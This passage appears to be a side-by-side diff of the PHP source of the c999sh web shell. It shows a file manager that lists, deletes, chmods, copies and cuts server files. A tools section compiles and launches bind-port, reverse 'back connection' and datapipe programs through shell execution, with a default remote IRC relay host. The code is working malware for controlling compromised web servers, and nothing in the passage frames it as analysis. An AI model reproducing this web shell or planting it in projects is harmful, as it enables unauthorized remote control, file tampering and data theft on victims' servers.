| 1940 | } | 1940 | } |
| 1941 | elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} | 1941 | elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} |
| 1942 | $row[] = filemtime($v); | 1942 | $row[] = filemtime($v); |
| 1943 | if (!$win) | 1943 | if (!$win) |
| 1944 | { | 1944 | { |
| 1945 | $ow = posix_getpwuid(fileowner($v)); | 1945 | $ow = posix_getpwuid(fileowner($v)); |
| 1946 | $gr = posix_getgrgid(filegroup($v)); | 1946 | $gr = posix_getgrgid(filegroup($v)); |
| 1947 | $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); | 1947 | $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); |
| 1948 | } | 1948 | } |
| 1949 | $row[] = fileperms($v); | 1949 | $row[] = fileperms($v); |
| 1950 | if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} | 1950 | if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} |
| 1951 | elseif (is_link($v)) {$objects["links"][] = $row;} | 1951 | elseif (is_link($v)) {$objects["links"][] = $row;} |
| 1952 | elseif (is_dir($v)) {$objects["folders"][] = $row;} | 1952 | elseif (is_dir($v)) {$objects["folders"][] = $row;} |
| 1953 | elseif (is_file($v)) {$objects["files"][] = $row;} | 1953 | elseif (is_file($v)) {$objects["files"][] = $row;} |
| 1954 | $i++; | 1954 | $i++; |
| 1955 | } | 1955 | } |
| 1956 | $row = array(); | 1956 | $row = array(); |
| 1957 | $row[] = "<b>Name</b>"; | 1957 | $row[] = "<b>Name</b>"; |
| 1958 | $row[] = "<b>Size</b>"; | 1958 | $row[] = "<b>Size</b>"; |
| 1959 | $row[] = "<b>Modify</b>"; | 1959 | $row[] = "<b>Modify</b>"; |
| 1960 | if (!$win) | 1960 | if (!$win) |
| 1961 | {$row[] = "<b>Owner/Group</b>";} | 1961 | {$row[] = "<b>Owner/Group</b>";} |
| 1962 | $row[] = "<b>Perms</b>"; | 1962 | $row[] = "<b>Perms</b>"; |
| 1963 | $row[] = "<b>Action</b>"; | 1963 | $row[] = "<b>Action</b>"; |
| 1964 | $parsesort = parsesort($sort); | 1964 | $parsesort = parsesort($sort); |
| 1965 | $sort = $parsesort[0].$parsesort[1]; | 1965 | $sort = $parsesort[0].$parsesort[1]; |
| 1966 | $k = $parsesort[0]; | 1966 | $k = $parsesort[0]; |
| 1967 | if ($parsesort[1] != "a") {$parsesort[1] = "d";} | 1967 | if ($parsesort[1] != "a") {$parsesort[1] = "d";} |
| 1968 | $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; | 1968 | $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; |
| 1969 | $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; | 1969 | $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; |
| 1970 | $row[$k] .= $y; | 1970 | $row[$k] .= $y; |
| 1971 | for($i=0;$i<count($row)-1;$i++) | 1971 | for($i=0;$i<count($row)-1;$i++) |
| 1972 | { | 1972 | { |
| 1973 | if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} | 1973 | if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} |
| 1974 | } | 1974 | } |
| 1975 | $v = $parsesort[0]; | 1975 | $v = $parsesort[0]; |
| 1976 | usort($objects["folders"], "tabsort"); | 1976 | usort($objects["folders"], "tabsort"); |
| 1977 | usort($objects["links"], "tabsort"); | 1977 | usort($objects["links"], "tabsort"); |
| 1978 | usort($objects["files"], "tabsort"); | 1978 | usort($objects["files"], "tabsort"); |
| 1979 | if ($parsesort[1] == "d") | 1979 | if ($parsesort[1] == "d") |
| 1980 | { | 1980 | { |
| 1981 | $objects["folders"] = array_reverse($objects["folders"]); | 1981 | $objects["folders"] = array_reverse($objects["folders"]); |
| 1982 | $objects["files"] = array_reverse($objects["files"]); | 1982 | $objects["files"] = array_reverse($objects["files"]); |
| 1983 | } | 1983 | } |
| 1984 | $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); | 1984 | $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); |
| 1985 | $tab = array(); | 1985 | $tab = array(); |
| 1986 | $tab["cols"] = array($row); | 1986 | $tab["cols"] = array($row); |
| 1987 | $tab["head"] = array(); | 1987 | $tab["head"] = array(); |
| 1988 | $tab["folders"] = array(); | 1988 | $tab["folders"] = array(); |
| 1989 | $tab["links"] = array(); | 1989 | $tab["links"] = array(); |
| 1990 | $tab["files"] = array(); | 1990 | $tab["files"] = array(); |
| 1991 | $i = 0; | 1991 | $i = 0; |
| 1992 | foreach ($objects as $a) | 1992 | foreach ($objects as $a) |
| 1993 | { | 1993 | { |
| 1994 | $v = $a[0]; | 1994 | $v = $a[0]; |
| 1995 | $o = basename($v); | 1995 | $o = basename($v); |
| 1996 | $dir = dirname($v); | 1996 | $dir = dirname($v); |
| 1997 | if ($disp_fullpath) {$disppath = $v;} | 1997 | if ($disp_fullpath) {$disppath = $v;} |
| 1998 | else {$disppath = $o;} | 1998 | else {$disppath = $o;} |
| 1999 | $disppath = str2mini($disppath,60); | 1999 | $disppath = str2mini($disppath,60); |
| 2000 | if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} | 2000 | if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} |
| 2001 | elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} | 2001 | elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} |
| 2002 | foreach ($regxp_highlight as $r) | 2002 | foreach ($regxp_highlight as $r) |
| 2003 | { | 2003 | { |
| 2004 | if (ereg($r[0],$o)) | 2004 | if (ereg($r[0],$o)) |
| 2005 | { | 2005 | { |
| 2006 | if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c999shexit();} | 2006 | if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c999shexit();} |
| 2007 | else | 2007 | else |
| 2008 | { | 2008 | { |
| 2009 | $r[1] = round($r[1]); | 2009 | $r[1] = round($r[1]); |
| 2010 | $isdir = is_dir($v); | 2010 | $isdir = is_dir($v); |
| 2011 | if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) | 2011 | if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) |
| 2012 | { | 2012 | { |
| 2013 | if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} | 2013 | if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} |
| 2014 | $disppath = $r[2].$disppath.$r[3]; | 2014 | $disppath = $r[2].$disppath.$r[3]; |
| 2015 | if ($r[4]) {break;} | 2015 | if ($r[4]) {break;} |
| 2016 | } | 2016 | } |
| 2017 | } | 2017 | } |
| 2018 | } | 2018 | } |
| 2019 | } | 2019 | } |
| 2020 | $uo = urlencode($o); | 2020 | $uo = urlencode($o); |
| 2021 | $ud = urlencode($dir); | 2021 | $ud = urlencode($dir); |
| 2022 | $uv = urlencode($v); | 2022 | $uv = urlencode($v); |
| 2023 | $row = array(); | 2023 | $row = array(); |
| 2024 | if ($o == ".") | 2024 | if ($o == ".") |
| 2025 | { | 2025 | { |
| 2026 | $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; | 2026 | $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; |
| 2027 | $row[] = "LINK"; | 2027 | $row[] = "LINK"; |
| 2028 | } | 2028 | } |
| 2029 | elseif ($o == "..") | 2029 | elseif ($o == "..") |
| 2030 | { | 2030 | { |
| 2031 | $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; | 2031 | $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; |
| 2032 | $row[] = "LINK"; | 2032 | $row[] = "LINK"; |
| 2033 | } | 2033 | } |
| 2034 | elseif (is_dir($v)) | 2034 | elseif (is_dir($v)) |
| 2035 | { | 2035 | { |
| 2036 | if (is_link($v)) | 2036 | if (is_link($v)) |
| 2037 | { | 2037 | { |
| 2038 | $disppath .= " => ".readlink($v); | 2038 | $disppath .= " => ".readlink($v); |
| 2039 | $type = "LINK"; | 2039 | $type = "LINK"; |
| 2040 | $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; | 2040 | $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; |
| 2041 | } | 2041 | } |
| 2042 | else | 2042 | else |
| 2043 | { | 2043 | { |
| 2044 | $type = "DIR"; | 2044 | $type = "DIR"; |
| 2045 | $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; | 2045 | $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; |
| 2046 | } | 2046 | } |
| 2047 | $row[] = $type; | 2047 | $row[] = $type; |
| 2048 | } | 2048 | } |
| 2049 | elseif(is_file($v)) | 2049 | elseif(is_file($v)) |
| 2050 | { | 2050 | { |
| 2051 | $ext = explode(".",$o); | 2051 | $ext = explode(".",$o); |
| 2052 | $c = count($ext)-1; | 2052 | $c = count($ext)-1; |
| 2053 | $ext = $ext[$c]; | 2053 | $ext = $ext[$c]; |
| 2054 | $ext = strtolower($ext); | 2054 | $ext = strtolower($ext); |
| 2055 | $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> <a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; | 2055 | $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> <a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; |
| 2056 | $row[] = view_size($a[1]); | 2056 | $row[] = view_size($a[1]); |
| 2057 | } | 2057 | } |
| 2058 | $row[] = date("d.m.Y H:i:s",$a[2]); | 2058 | $row[] = date("d.m.Y H:i:s",$a[2]); |
| 2059 | if (!$win) {$row[] = $a[3];} | 2059 | if (!$win) {$row[] = $a[3];} |
| 2060 | $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; | 2060 | $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; |
| 2061 | if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} | 2061 | if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} |
| 2062 | else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} | 2062 | else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} |
| 2063 | if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> ".$checkbox;} | 2063 | if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> ".$checkbox;} |
| 2064 | else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a> ".$checkbox;} | 2064 | else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a> ".$checkbox;} |
| 2065 | if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} | 2065 | if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} |
| 2066 | elseif (is_link($v)) {$tab["links"][] = $row;} | 2066 | elseif (is_link($v)) {$tab["links"][] = $row;} |
| 2067 | elseif (is_dir($v)) {$tab["folders"][] = $row;} | 2067 | elseif (is_dir($v)) {$tab["folders"][] = $row;} |
| 2068 | elseif (is_file($v)) {$tab["files"][] = $row;} | 2068 | elseif (is_file($v)) {$tab["files"][] = $row;} |
| 2069 | $i++; | 2069 | $i++; |
| 2070 | } | 2070 | } |
| 2071 | } | 2071 | } |
| 2072 | // Compiling table | 2072 | // Compiling table |
| 2073 | $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); | 2073 | $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); |
| 2074 | echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; | 2074 | echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; |
| 2075 | foreach($table as $row) | 2075 | foreach($table as $row) |
| 2076 | { | 2076 | { |
| 2077 | echo "<tr>\r\n"; | 2077 | echo "<tr>\r\n"; |
| 2078 | foreach($row as $v) {echo "<td>".$v."</td>\r\n";} | 2078 | foreach($row as $v) {echo "<td>".$v."</td>\r\n";} |
| 2079 | echo "</tr>\r\n"; | 2079 | echo "</tr>\r\n"; |
| 2080 | } | 2080 | } |
| 2081 | echo "</table><hr size=\"1\" noshade><p align=\"right\"> | 2081 | echo "</table><hr size=\"1\" noshade><p align=\"right\"> |
| 2082 | <script> | 2082 | <script> |
| 2083 | function ls_setcheckboxall(status) | 2083 | function ls_setcheckboxall(status) |
| 2084 | { | 2084 | { |
| 2085 | var id = 1; | 2085 | var id = 1; |
| 2086 | var num = ".(count($table)-2)."; | 2086 | var num = ".(count($table)-2)."; |
| 2087 | while (id <= num) | 2087 | while (id <= num) |
| 2088 | { | 2088 | { |
| 2089 | document.getElementById('actbox'+id).checked = status; | 2089 | document.getElementById('actbox'+id).checked = status; |
| 2090 | id++; | 2090 | id++; |
| 2091 | } | 2091 | } |
| 2092 | } | 2092 | } |
| 2093 | function ls_reverse_all() | 2093 | function ls_reverse_all() |
| 2094 | { | 2094 | { |
| 2095 | var id = 1; | 2095 | var id = 1; |
| 2096 | var num = ".(count($table)-2)."; | 2096 | var num = ".(count($table)-2)."; |
| 2097 | while (id <= num) | 2097 | while (id <= num) |
| 2098 | { | 2098 | { |
| 2099 | document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; | 2099 | document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; |
| 2100 | id++; | 2100 | id++; |
| 2101 | } | 2101 | } |
| 2102 | } | 2102 | } |
| 2103 | </script> | 2103 | </script> |
| 2104 | <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> | 2104 | <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> |
| 2105 | <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; | 2105 | <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; |
| 2106 | if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) | 2106 | if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) |
| 2107 | { | 2107 | { |
| 2108 | echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> "; | 2108 | echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> "; |
| 2109 | } | 2109 | } |
| 2110 | echo "<select name=act><option value=\"".$act."\">With selected:</option>"; | 2110 | echo "<select name=act><option value=\"".$act."\">With selected:</option>"; |
| 2111 | echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; | 2111 | echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; |
| 2112 | echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; | 2112 | echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; |
| 2113 | if ($usefsbuff) | 2113 | if ($usefsbuff) |
| 2114 | { | 2114 | { |
| 2115 | echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; | 2115 | echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; |
| 2116 | echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; | 2116 | echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; |
| 2117 | echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; | 2117 | echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; |
| 2118 | } | 2118 | } |
| 2119 | echo "</select> <input type=submit value=\"Confirm\"></p>"; | 2119 | echo "</select> <input type=submit value=\"Confirm\"></p>"; |
| 2120 | echo "</form>"; | 2120 | echo "</form>"; |
| 2121 | } | 2121 | } |
| 2122 | } | 2122 | } |
| 2123 | if ($act == "tools") | 2123 | if ($act == "tools") |
| 2124 | { | 2124 | { |
| 2125 | $bndportsrcs = array( | 2125 | $bndportsrcs = array( |
| 2126 | "c999sh_bindport.pl"=>array("Using PERL","perl %path %port"), | 2126 | "c999sh_bindport.pl"=>array("Using PERL","perl %path %port"), |
| 2127 | "c999sh_bindport.c"=>array("Using C","%path %port %pass") | 2127 | "c999sh_bindport.c"=>array("Using C","%path %port %pass") |
| 2128 | ); | 2128 | ); |
| 2129 | $bcsrcs = array( | 2129 | $bcsrcs = array( |
| 2130 | "c999sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), | 2130 | "c999sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), |
| 2131 | "c999sh_backconn.c"=>array("Using C","%path %host %port") | 2131 | "c999sh_backconn.c"=>array("Using C","%path %host %port") |
| 2132 | ); | 2132 | ); |
| 2133 | $dpsrcs = array( | 2133 | $dpsrcs = array( |
| 2134 | "c999sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), | 2134 | "c999sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), |
| 2135 | "c999sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") | 2135 | "c999sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") |
| 2136 | ); | 2136 | ); |
| 2137 | if (!is_array($bind)) {$bind = array();} | 2137 | if (!is_array($bind)) {$bind = array();} |
| 2138 | if (!is_array($bc)) {$bc = array();} | 2138 | if (!is_array($bc)) {$bc = array();} |
| 2139 | if (!is_array($datapipe)) {$datapipe = array();} | 2139 | if (!is_array($datapipe)) {$datapipe = array();} |
| 2140 | 2140 | ||
| 2141 | if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} | 2141 | if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} |
| 2142 | if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} | 2142 | if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} |
| 2143 | 2143 | ||
| 2144 | if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} | 2144 | if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} |
| 2145 | if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} | 2145 | if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} |
| 2146 | 2146 | ||
| 2147 | if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} | 2147 | if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} |
| 2148 | if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} | 2148 | if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} |
| 2149 | if (!empty($bindsubmit)) | 2149 | if (!empty($bindsubmit)) |
| 2150 | { | 2150 | { |
| 2151 | echo "<b>Result of binding port:</b><br>"; | 2151 | echo "<b>Result of binding port:</b><br>"; |
| 2152 | $v = $bndportsrcs[$bind["src"]]; | 2152 | $v = $bndportsrcs[$bind["src"]]; |
| 2153 | if (empty($v)) {echo "Unknown file!<br>";} | 2153 | if (empty($v)) {echo "Unknown file!<br>";} |
| 2154 | elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} | 2154 | elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} |
| 2155 | else | 2155 | else |
| 2156 | { | 2156 | { |
| 2157 | $w = explode(".",$bind["src"]); | 2157 | $w = explode(".",$bind["src"]); |
| 2158 | $ext = $w[count($w)-1]; | 2158 | $ext = $w[count($w)-1]; |
| 2159 | unset($w[count($w)-1]); | 2159 | unset($w[count($w)-1]); |
| 2160 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; | 2160 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; |
| 2161 | $binpath = $tmpdir.join(".",$w).rand(0,999); | 2161 | $binpath = $tmpdir.join(".",$w).rand(0,999); |
| 2162 | if ($ext == "pl") {$binpath = $srcpath;} | 2162 | if ($ext == "pl") {$binpath = $srcpath;} |
| 2163 | @unlink($srcpath); | 2163 | @unlink($srcpath); |
| 2164 | $fp = fopen($srcpath,"ab+"); | 2164 | $fp = fopen($srcpath,"ab+"); |
| 2165 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} | 2165 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} |
| 2166 | elseif (!$data = c999getsource($bind["src"])) {echo "Can't download sources!";} | 2166 | elseif (!$data = c999getsource($bind["src"])) {echo "Can't download sources!";} |
| 2167 | else | 2167 | else |
| 2168 | { | 2168 | { |
| 2169 | fwrite($fp,$data,strlen($data)); | 2169 | fwrite($fp,$data,strlen($data)); |
| 2170 | fclose($fp); | 2170 | fclose($fp); |
| 2171 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} | 2171 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} |
| 2172 | $v[1] = str_replace("%path",$binpath,$v[1]); | 2172 | $v[1] = str_replace("%path",$binpath,$v[1]); |
| 2173 | $v[1] = str_replace("%port",$bind["port"],$v[1]); | 2173 | $v[1] = str_replace("%port",$bind["port"],$v[1]); |
| 2174 | $v[1] = str_replace("%pass",$bind["pass"],$v[1]); | 2174 | $v[1] = str_replace("%pass",$bind["pass"],$v[1]); |
| 2175 | $v[1] = str_replace("//","/",$v[1]); | 2175 | $v[1] = str_replace("//","/",$v[1]); |
| 2176 | $retbind = myshellexec($v[1]." > /dev/null &"); | 2176 | $retbind = myshellexec($v[1]." > /dev/null &"); |
| 2177 | sleep(5); | 2177 | sleep(5); |
| 2178 | $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); | 2178 | $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); |
| 2179 | if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} | 2179 | if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} |
| 2180 | else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} | 2180 | else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} |
| 2181 | } | 2181 | } |
| 2182 | echo "<br>"; | 2182 | echo "<br>"; |
| 2183 | } | 2183 | } |
| 2184 | } | 2184 | } |
| 2185 | if (!empty($bcsubmit)) | 2185 | if (!empty($bcsubmit)) |
| 2186 | { | 2186 | { |
| 2187 | echo "<b>Result of back connection:</b><br>"; | 2187 | echo "<b>Result of back connection:</b><br>"; |
| 2188 | $v = $bcsrcs[$bc["src"]]; | 2188 | $v = $bcsrcs[$bc["src"]]; |
| 2189 | if (empty($v)) {echo "Unknown file!<br>";} | 2189 | if (empty($v)) {echo "Unknown file!<br>";} |
| 2190 | else | 2190 | else |
| 2191 | { | 2191 | { |
| 2192 | $w = explode(".",$bc["src"]); | 2192 | $w = explode(".",$bc["src"]); |
| 2193 | $ext = $w[count($w)-1]; | 2193 | $ext = $w[count($w)-1]; |
| 2194 | unset($w[count($w)-1]); | 2194 | unset($w[count($w)-1]); |
| 2195 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; | 2195 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; |
| 2196 | $binpath = $tmpdir.join(".",$w).rand(0,999); | 2196 | $binpath = $tmpdir.join(".",$w).rand(0,999); |
| 2197 | if ($ext == "pl") {$binpath = $srcpath;} | 2197 | if ($ext == "pl") {$binpath = $srcpath;} |
| 2198 | @unlink($srcpath); | 2198 | @unlink($srcpath); |
| 2199 | $fp = fopen($srcpath,"ab+"); | 2199 | $fp = fopen($srcpath,"ab+"); |
| 2200 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} | 2200 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} |
| 2201 | elseif (!$data = c999getsource($bc["src"])) {echo "Can't download sources!";} | 2201 | elseif (!$data = c999getsource($bc["src"])) {echo "Can't download sources!";} |
| 2202 | else | 2202 | else |
| 2203 | { | 2203 | { |
| 2204 | fwrite($fp,$data,strlen($data)); | 2204 | fwrite($fp,$data,strlen($data)); |
| 2205 | fclose($fp); | 2205 | fclose($fp); |
